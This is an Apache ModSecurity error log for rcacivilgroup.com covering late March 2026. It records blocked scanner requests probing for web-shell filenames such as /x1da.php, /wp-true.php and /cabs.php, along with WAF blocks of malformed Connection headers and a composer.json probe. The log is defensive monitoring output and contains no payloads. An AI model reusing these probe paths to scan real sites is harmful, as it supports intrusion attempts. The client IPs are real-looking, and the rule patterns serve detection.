[Mon Mar 30 23:40:53.046962 2026] [:error] [pid 60745:tid 60772] [client 72.146.16.175:65450] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "acqZhSQDBn75QnHaPb9XNAAAAFc"]
[Mon Mar 30 23:40:53.520630 2026] [:error] [pid 60745:tid 60752] [client 72.146.16.175:63813] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "acqZhSQDBn75QnHaPb9XNQAAAEM"]
[Mon Mar 30 23:40:54.020880 2026] [:error] [pid 60747:tid 60807] [client 72.146.16.175:60707] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "acqZhgU3IY-cCpy_-zFRqgAAAMQ"]
[Mon Mar 30 23:40:54.494312 2026] [:error] [pid 60747:tid 60814] [client 72.146.16.175:61542] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "acqZhgU3IY-cCpy_-zFRrgAAAMs"]
[Mon Mar 30 23:40:54.999126 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:60790] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "acqZhgU3IY-cCpy_-zFRrwAAAM4"]
[Mon Mar 30 23:40:55.474376 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:65432] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "acqZh64QNVlzYgEvIjnOcgAAAQk"]
[Mon Mar 30 23:40:55.942518 2026] [:error] [pid 60746:tid 60777] [client 72.146.16.175:65499] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "acqZh54kQrgjDdAbQCozywAAAIE"]
[Mon Mar 30 23:40:56.418296 2026] [:error] [pid 60835:tid 60841] [client 72.146.16.175:58181] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "acqZiAIOJ4Lc0iJVRzwGlQAAAAQ"]
[Mon Mar 30 23:40:56.883755 2026] [:error] [pid 63557:tid 63570] [client 72.146.16.175:61555] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "acqZiK4QNVlzYgEvIjnOdQAAAQs"]
[Mon Mar 30 23:40:57.350122 2026] [:error] [pid 60835:tid 60855] [client 72.146.16.175:63855] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "acqZiQIOJ4Lc0iJVRzwGmgAAABI"]
[Mon Mar 30 23:40:57.847418 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:58184] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "acqZia4QNVlzYgEvIjnOeQAAAQ0"]
[Mon Mar 30 23:40:58.327319 2026] [:error] [pid 60746:tid 60779] [client 72.146.16.175:63856] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "acqZip4kQrgjDdAbQCoz0QAAAIM"]
[Mon Mar 30 23:40:58.827123 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:61477] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acqZiq4QNVlzYgEvIjnOfQAAAQI"]
[Mon Mar 30 23:40:59.310749 2026] [:error] [pid 60835:tid 60838] [client 72.146.16.175:60690] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acqZiwIOJ4Lc0iJVRzwGqwAAAAE"]
[Mon Mar 30 23:40:59.789026 2026] [:error] [pid 63557:tid 63580] [client 72.146.16.175:63868] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acqZi64QNVlzYgEvIjnOgQAAARU"]
[Mon Mar 30 23:41:00.258491 2026] [:error] [pid 63557:tid 63559] [client 72.146.16.175:58976] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "acqZjK4QNVlzYgEvIjnOgwAAAQA"]
[Mon Mar 30 23:41:00.727604 2026] [:error] [pid 60747:tid 60827] [client 72.146.16.175:65499] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "acqZjAU3IY-cCpy_-zFRswAAANg"]
[Mon Mar 30 23:41:01.195415 2026] [:error] [pid 60747:tid 60812] [client 72.146.16.175:60760] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "acqZjQU3IY-cCpy_-zFRtAAAAMk"]
[Mon Mar 30 23:41:01.662023 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:61454] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "acqZja4QNVlzYgEvIjnOiwAAAQ0"]
[Mon Mar 30 23:41:02.139369 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:60173] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "acqZjq4QNVlzYgEvIjnOjgAAAQM"]
[Mon Mar 30 23:41:02.609196 2026] [:error] [pid 63557:tid 63571] [client 72.146.16.175:60756] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "acqZjq4QNVlzYgEvIjnOkgAAAQw"]
[Mon Mar 30 23:41:03.081223 2026] [:error] [pid 63557:tid 63559] [client 72.146.16.175:60183] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "acqZj64QNVlzYgEvIjnOlgAAAQA"]
[Mon Mar 30 23:41:03.576576 2026] [:error] [pid 60747:tid 60824] [client 72.146.16.175:57666] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "acqZjwU3IY-cCpy_-zFRuQAAANU"]
[Mon Mar 30 23:41:04.044430 2026] [:error] [pid 60745:tid 60771] [client 72.146.16.175:61550] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "acqZkCQDBn75QnHaPb9XbwAAAFY"]
[Mon Mar 30 23:41:04.514421 2026] [:error] [pid 60746:tid 60793] [client 72.146.16.175:60764] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php/admin.php"] [unique_id "acqZkJ4kQrgjDdAbQCoz8gAAAJE"]
[Mon Mar 30 23:41:05.011816 2026] [:error] [pid 63557:tid 63559] [client 72.146.16.175:63757] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php/admin.php"] [unique_id "acqZka4QNVlzYgEvIjnOqAAAAQA"]
[Mon Mar 30 23:41:05.497546 2026] [:error] [pid 60746:tid 60785] [client 72.146.16.175:62281] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php/admin.php"] [unique_id "acqZkZ4kQrgjDdAbQCo0AAAAAIk"]
[Mon Mar 30 23:41:05.969101 2026] [:error] [pid 60835:tid 60837] [client 72.146.16.175:58935] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php/admin.php"] [unique_id "acqZkQIOJ4Lc0iJVRzwG5wAAAAA"]
[Mon Mar 30 23:41:06.472922 2026] [:error] [pid 60746:tid 60791] [client 72.146.16.175:59423] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "acqZkp4kQrgjDdAbQCo0CQAAAI8"]
[Mon Mar 30 23:41:06.943582 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:61511] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "acqZkp4kQrgjDdAbQCo0DwAAAIY"]
[Mon Mar 30 23:41:07.414902 2026] [:error] [pid 63557:tid 63567] [client 72.146.16.175:61498] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "acqZk64QNVlzYgEvIjnOyAAAAQg"]
[Mon Mar 30 23:41:07.891293 2026] [:error] [pid 60746:tid 60787] [client 72.146.16.175:62323] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "acqZk54kQrgjDdAbQCo0FwAAAIs"]
[Mon Mar 30 23:41:08.399279 2026] [:error] [pid 60746:tid 60792] [client 72.146.16.175:62287] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "acqZlJ4kQrgjDdAbQCo0HAAAAJA"]
[Mon Mar 30 23:41:08.878776 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:65433] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "acqZlJ4kQrgjDdAbQCo0IwAAAIY"]
[Mon Mar 30 23:41:09.355305 2026] [:error] [pid 60746:tid 60800] [client 72.146.16.175:65410] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "acqZlZ4kQrgjDdAbQCo0JwAAAJg"]
[Mon Mar 30 23:41:09.830063 2026] [:error] [pid 60746:tid 60789] [client 72.146.16.175:58159] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "acqZlZ4kQrgjDdAbQCo0KwAAAI0"]
[Mon Mar 30 23:41:10.347621 2026] [:error] [pid 60747:tid 60819] [client 72.146.16.175:65431] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "acqZlgU3IY-cCpy_-zFR0gAAANA"]
[Mon Mar 30 23:41:10.815528 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:63831] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "acqZlq4QNVlzYgEvIjnO4gAAAQ0"]
[Mon Mar 30 23:41:11.294624 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:60703] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "acqZl64QNVlzYgEvIjnO5wAAARc"]
[Mon Mar 30 23:41:11.771999 2026] [:error] [pid 60746:tid 60792] [client 72.146.16.175:58925] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "acqZl54kQrgjDdAbQCo0OQAAAJA"]
[Mon Mar 30 23:47:48.733150 2026] [:error] [pid 60747:tid 60821] [client 20.104.195.176:30729] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acqbJAU3IY-cCpy_-zFWUAAAANI"]
[Mon Mar 30 23:47:49.561445 2026] [:error] [pid 60745:tid 60752] [client 20.104.195.176:31063] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acqbJSQDBn75QnHaPb9aKAAAAEM"]
[Mon Mar 30 23:47:50.389848 2026] [:error] [pid 63557:tid 63567] [client 20.104.195.176:31040] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acqbJq4QNVlzYgEvIjnWYQAAAQg"]
[Mon Mar 30 23:47:51.216796 2026] [:error] [pid 60835:tid 60847] [client 20.104.195.176:31067] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acqbJwIOJ4Lc0iJVRzwLWwAAAAo"]
[Tue Mar 31 02:39:01.608686 2026] [:error] [pid 39123:tid 39125] [client 106.54.62.156:41230] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acrDRSobgVY20PMQKVufQgAAAQA"]
[Tue Mar 31 03:50:18.321570 2026] [:error] [pid 18333:tid 18397] [client 43.153.96.79:36680] [client 43.153.96.79] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acrT-kSx2C5hLR0-8dK5rQAAAFI"]
[Tue Mar 31 08:39:58.329076 2026] [:error] [pid 36891:tid 36937] [client 182.42.111.213:44242] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acsX3pJhiMaJUqoqfl4yJAAAAE0"]
[Tue Mar 31 08:56:46.641545 2026] [:error] [pid 41421:tid 41432] [client 43.167.241.46:46564] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acsbzhSaDjY9kKFtUQBybAAAAQg"]
[Tue Mar 31 10:57:52.380862 2026] [:error] [pid 36890:tid 36902] [client 15.204.12.43:53220] [client 15.204.12.43] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "acs4MJ8FASPd_uH8z7d7KgAAAAc"]
[Tue Mar 31 14:00:20.179263 2026] [:error] [pid 36982:tid 36995] [client 43.130.16.140:45308] [client 43.130.16.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acti9PlMmeoQKN0r_GOa_wAAAMo"]
[Tue Mar 31 17:14:54.260814 2026] [:error] [pid 36890:tid 36913] [client 172.161.1.56:61619] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "acuQjp8FASPd_uH8z7f9bgAAABI"]
[Tue Mar 31 17:14:55.648955 2026] [:error] [pid 36892:tid 36969] [client 172.161.1.56:29235] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "acuQj0yj9S4G0ek3O4JetgAAAJI"]
[Tue Mar 31 17:14:57.105395 2026] [:error] [pid 6548:tid 6571] [client 172.161.1.56:49839] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "acuQkbgIz9HgMl9YwE7HngAAAVU"]
[Tue Mar 31 17:14:57.686381 2026] [:error] [pid 41421:tid 41445] [client 172.161.1.56:17401] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-true.php"] [unique_id "acuQkRSaDjY9kKFtUQBSlQAAARU"]
